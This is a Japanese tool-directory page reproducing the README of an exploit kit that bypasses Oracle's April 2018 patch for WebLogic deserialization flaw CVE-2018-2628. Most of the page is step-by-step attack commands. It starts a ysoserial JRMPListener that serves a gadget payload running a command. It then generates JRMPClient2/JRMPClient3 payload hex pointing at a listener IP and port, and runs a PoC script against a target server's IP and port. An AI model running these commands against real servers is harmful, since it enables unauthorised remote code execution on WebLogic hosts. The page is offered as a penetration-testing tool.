Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/tdy218/ysoserial-cve-2018-2628
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubtdy218/ysoserial-cve-2018-2628

ysoserial-cve-2018-2628

Oracle WebLogic CVE-2018-2628 パッチを回避するためのコード

リポジトリを見る
1144838年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ysoserial-cve-2018-2628

0x1. 準備

  • POCスクリプトとPayload Object生成、JRMPListener実行に必要なソフトウェア環境を準備する Python 2.7.x Oracle Java SE 1.7+
  • Patch Set Update 180417パッチが適用されたWebLogic Server 10.3.6環境を準備する(AdminServerのみでOK) 既存のこのPSUバージョンを適用したWebLogic環境があれば、この手順はスキップできます。
  • POCツールを準備する このプロジェクトからPOCスクリプト(wls-cve-2018-2628-poc.py)をダウンロードする このプロジェクトのreleaseページからPayload Object生成、JRMPListenerプログラムのjarパッケージファイル(ysoserial-<version>-cve-2018-2628-all.jar)をダウンロードする

0x2. JRMPListenerを実行する

コマンド形式:

java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>

例:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"

*Opening JRMP listener on 22801 の出力が確認できたら、JRMPListenerを実行しているホストのIPアドレス(例ではパブリックIP 47.94.158.125のAlibaba Cloud ECSホスト)と指定したポートを記録します。

0x3. 前の手順のJRMPListenerホストのIPアドレスとリスニングポート情報に基づき、Payload文字列を生成する

現在知られている2つの方法(Payload Object Stringを生成する際、以下の2つの方法のいずれかを選択すればよい):

  • java.rmi.activation.Activator[CVE-2017-3248]を利用する

Payload Object Stringを生成するコマンド形式:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

例:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

サンプル(JRMPClient2で生成したPayloadオブジェクトのバイナリ出力データ):

  • weblogic.jms.common.StreamMessageImplを使用してjava.rmi.registry.Registryをラップする

Payload Object Stringを生成するコマンド形式:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

例:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

サンプル(JRMPClient3で生成したPayloadオブジェクトのバイナリ出力データ):

0x4. POCスクリプトを編集して実行する

wls-cve-2018-2628-poc.pyを編集し、前の手順で生成したhex文字列でスクリプト上部のpayload_str変数の変数値を置き換えます(このスクリプトに含まれる2つのpayload_str変数の値は、それぞれ上記2つの方法で生成されたhex文字列に直接利用できます)。

コマンド形式:

python wls-cve-2018-2628-poc.py <ターゲットWebLogic ServerインスタンスのリスニングIP> <ターゲットWebLogic Serverインスタンスのリスニングポート>

例:

python wls-cve-2018-2628-poc.py 192.168.64.83 7001

サンプル(Patch Set Update 180417が適用済み):

0x5. 謝辞

xxlegend@nsfocus(CVE-2018-2628の脆弱性発見および提出者の一人、脆弱性の利用方法と関連コード例の公開) badcode@knownsec(weblogic.jms.common.StreamMessageImplを使用してjava.rmi.registry.Registryをラップするコード例の提供) ysoserial project(多くのJavaデシリアライゼーションエクスプロイトをまとめている)

ツールをダウンロード